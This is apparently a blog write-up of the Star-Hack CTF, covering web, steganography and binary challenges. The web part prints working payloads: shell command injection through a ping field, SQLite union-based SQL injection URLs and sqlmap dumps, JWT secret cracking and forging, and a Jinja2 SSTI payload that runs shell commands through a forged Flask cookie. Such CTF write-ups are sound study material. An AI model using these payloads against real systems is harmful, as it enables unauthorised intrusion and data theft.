+++ date = '2025-10-18T14:51:32+02:00' draft = false title = 'Star-Hack' toc = true +++ I participated in the Star-Hack, a CTF in France, but let's not waste more time. Difficulty : easy Flag format : `flag{[a-zA-Z0-9_]+}` ## Web The challenges difficulties varied from easy to medium, and could be quite fun. ### Crawler The flag were split in 5 parts, 4 were to be found, and the fifth one was obtainable by providing the concatenation of the first 4 to an API. The first four parts were obtainable by looking at the following files : * /robots.txt * /index.html * /static/main.css * Another place like cookie or console, I don't remember Which leaves us with the following concatenation : `flag{Crawl_Master_20`, the API gives us the final part "25}". Flag: `flag{Crawl_Master_2025}` ### Commands This challenge offers us to ping a target by specifying its IP, the character ';' is prohibited by a filter. As expected, it uses the ping utility, and a simple shell injection `1.1.1.1 && id` enables us to run commands. Finally, `1.1.1.1 && find . -name '*flag*'` provides the file name and `1.1.1.1 && cat ./flag.txt` provides the flag Flag : `flag{Command_Injection}` ### Events This challenge offers to use an input field to enter a month and retrieve events that happened during this one. This input won't allow us to enter more than two integers, however it is then used in the url query, and no backend check is performed. By crafting a basic sql injection, we can retrieve all events with the following URL : `http://[REDACTED]/?MONTH=02' or '-01'='`. (it filters by date, and happens '-01' at the end of the month to obtain dates like '2025-02-01') The number of columns retrieved can be found by using a simple union select injection : `http://[REDACTED]/?MONTH=02' union select "a", "b", "c" where '-01'='`, it has 3 columns. This enables us to get the list of tables, by trying different payloads, we guess it's sqlite : ```sh http://[REDACTED]/?MONTH=02' union select "a", tbl_name, "c" from sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' AND '-01'=' ``` There are 3 tables : 'events', 'flag' and 'users'. We finally get the flag with the following request : `http://[REDACTED]/?MONTH=02' union select "a", * from flag WHERE '-01'='` Flag: `flag{sqlite_union_based_injection_success}` ### Store It was a website with a search input, by trying the exact same basic SQLi as in the previous challenge, we find the query is vulnerable. As I couldn't bear a second SQLi, and that sqlmap was obviously going to dump it easily, I went for it : ```sh sqlmap -u 'http://[REDACTED]/search/?q=1' -p q --technique "BEUT" --tables ``` This extract the table name 'store_secret', which is dumped with : ```sh sqlmap -u 'http://13.38.0.91:8087/search/?q=1' -p q --dump store_secret ``` flag: I didn't keep this one neither ### Broken control We are offered to log in to the website with 'guest:guestpass'. Once logged in, we get the following JWT to store the session : ```sh eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q ``` Using `jwt_tool.py`, we can get its body : `{"username": "guest", "id_admin": False}`. After testing differents common vulnerability like setting the 'alg' header to 'none', I ended up trying to bruteforce it. Turns out that it worked with the `rockyou.txt` wordlist : ```sh jwt_tool.py -C -d rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q ``` The secret is 'letmein', the JWT can then be tampered to gain admin privileged with the following command : ```sh jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kf2kBhjtTKfkNGfYVrchv4Q -T -S hs256 -p "letmein" ``` This leads to the flag I didn't keep. ### Obfuscate This challenge was interesting, it starts with a very basic SQLi authentication bypass, we are then offered to change our username. It's possible to use the username to perform XSS, however it is a dead end. The real goal here is to exploit a SSTI. By using the [payloadAllTheThings' decision tree](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#inject-template-syntax), it is possible to find that the backend uses jinja2 templates. However, many inputs are blocked, like those including `__imports__` or `os`. I tried some bypasses, however it was not convincing, and `__builtins__.__dict__` was not accessible for some reason. But by looking around, I found out that we could retrieve the global variables by using an SSTI, more precisely the variable `SECRET_KEY="supersecretforctf"`. The username is stored in a flask token, the filter preventing executing shell commands in SSTI is only used when trying to change the username, not when it using the username with a signed flask token. By forging a new token with [Flask-Unsign](https://github.com/Paradoxis/Flask-Unsign) as following, it is possible to run shell commands on the server ! ```sh flask-unsign --sign --cookie "{'username': '{{ self.__init__.__globals__.__builtins__.__import__(\'os\').popen(\'find . -name *flag*\').read() }}'}" --secret 'supersecretforctf' ``` The flag location is `/flag123aatt.txt`, by using the same process, we print it using cat. Flag : `flag{sql_injection_then_ssti_priv_escalation}` ### IDOR ### Dev_dev ## Steganography I think steganography is a double-edged sword, either the challenges are interesting and fun, either it is yet another steghide bruteforce challenge. Unfortunately, this CTF is more on the second side. ### Dive deeper Image : ![parrot.jpg](/writeups/StarHack/stegano/parrot.jpg) Well the following command unfortunatly retrieves the flag : ```sh strings parrot.jpg | grep flag{ ``` Flag : `flag{binwalk_unpacked_me}` ### Investigate Image : ![forest.jpg](/writeups/StarHack/stegano/forest.jpg) Same for this one, but with exiftool ```sh exiftool forest.jpg | grep flag{ ``` Flag : `flag{metadata_magic}` ### Explore the image 1 Image : ![tiger.jpg](/writeups/StarHack/stegano/tiger.jpg) After messing around with this one, the only thing left is [steghide](https://steghide.sourceforge.net/), and there is a password... At least, [stegseek](https://github.com/RickdeJager/stegseek) finds it quickly with the following command : ```sh stegseek tiger.jpg rockyou.txt ``` Flag : `flag{hidden_in_plain_sight}` ### Explore the image 2 Image : ![sunset.jpg](/writeups/StarHack/stegano/sunset.jpg) Because once isn't enough, here's exactly the same challenge : ```sh stegseek sunset.jpg rockyou.txt ``` Flag : `flag{stegseek_cracked_it}` ## Binary The category name is surprising, it's kind of a mix of reverse and pwn. ### Native guardian Source : [app-release.apk](/writeups/StarHack/binary/app-release.apk) This challenge ses a shared library in native code, which contains the flag in cleartext. It is possible to extract the APK with [apktool](https://apktool.org/), however, a simple strings and grep on the apk will extract the flag : ```sh strings app-release.apk | grep -B 1 flag ``` It returns ```sh 3v3rs3d} flag{jn1_4rm64_rInvalid key ``` Flag : `flag{jn1_4rm64_r3v3rs3d}` ### Simple Source : [simple](/writeups/StarHack/binary/simple) This is a binary that needs to be reversed, I'm not sure to understand everything it does, but it doesn't matter to find the flag. The flag isn't in the binary but in a file on a remote server. In a tcp connection, it's possible to send a string and test it against the flag. The test will iterate through the strings and stop at the end of input or at the end of the flag. When sending a wrong input, the index of the first match is returned. This way, by sending `'X' * 23`, we get `22`, which means no 'X' is in the flag, and the flag is 22 chars long. Knowing that, I wrote the following script to find the first occurence of all chars : ```py #!/bin/sh from pwn import * chars = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-") context.log_level = 'error' # Suppress noise host = "[REDACTED]" port = 1027 for c in chars: conn = remote(host, port) conn.recv() conn.sendline((c * 22).encode()) res = conn.recv() if "22" not in res.decode(): # If char is in the flag print(c, res) conn.close() ``` This leaves us with the following : ```sh a b'Result length: 2\n' e b'Result length: 20\n' f b'Result length: 0\n' g b'Result length: 3\n' i b'Result length: 8\n' l b'Result length: 1\n' m b'Result length: 17\n' n b'Result length: 9\n' p b'Result length: 18\n' r b'Result length: 7\n' s b'Result length: 13\n' x b'Result length: 5\n' 0 b'Result length: 6\n' _ b'Result length: 11\n' ``` Knowing the flag format, we have that : `flag{x0 in _ s mp e}` Finally, we guess the flag being `flag{x0ring_is_simple}`